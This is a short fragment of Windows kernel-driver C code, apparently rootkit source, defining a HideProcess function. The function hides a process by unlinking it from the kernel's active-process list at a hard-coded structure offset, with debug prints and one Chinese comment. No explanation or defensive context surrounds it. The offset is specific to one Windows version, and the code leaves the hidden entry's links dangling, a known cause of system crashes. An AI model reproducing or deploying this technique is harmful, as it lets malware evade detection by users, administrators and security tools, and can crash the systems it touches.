void HideProcess(HANDLE PID) {
PEPROCESS Process = NULL;
NTSTATUS Status = PsLookupProcessByProcessId(PID, &Process);
if (NT_SUCCESS(Status)) {
LIST_ENTRY *pEntry = (LIST_ENTRY*)((char*)Process + 0x188);
LIST_ENTRY *pPrev = pEntry->Flink;
LIST_ENTRY* pNext = pEntry->Blink;
DbgPrint("HideProcess Old pPrev:%p %p next:%p %p\n",
pPrev->Flink, pPrev->Blink,
pNext->Flink, pNext->Blink);
pPrev->Blink = pNext;
pNext->Flink = pPrev;
DbgPrint("HideProcess New pPrev:%p %p next:%p %p\n",
pPrev->Flink, pPrev->Blink,
pNext->Flink, pNext->Blink);
DbgPrint("HideProcess prev\n", PID);
ObDereferenceObject(Process); //PsLookupProcessByProcessId查询后要让引用计数减一
DbgPrint("HideProcess pid:%d OK\n", PID);
}
}